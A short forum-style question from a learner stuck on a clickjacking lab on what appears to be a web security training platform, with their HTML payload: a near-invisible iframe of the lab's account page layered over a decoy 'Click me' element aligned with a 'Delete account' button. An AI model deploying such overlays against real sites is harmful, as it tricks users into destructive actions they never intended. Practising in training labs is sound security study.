I have an issue with solving the first Clickjacking lab, I created my html code and added it to exploit server, clicked store and Deliver exploit to victim but the lab doesn't get solved for some reason. Can someone tell me what am I doing wrong, because I watched 4 different tutorials and read through the solution but it still ain't working for me.

<style>
    iframe {
        position: relative;
        width: 700px;
        height: 800px; 
        opacity: 0.00001;
        z-index: 2;
    }
    div {
        position: absolute;
        top: 530px;
        left: 50px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://0aad00be04281c1c80d1a853009f0034.web-security-academy.net/my-account"></iframe>

I can't send images here, but the div and the Delete account button are aligned.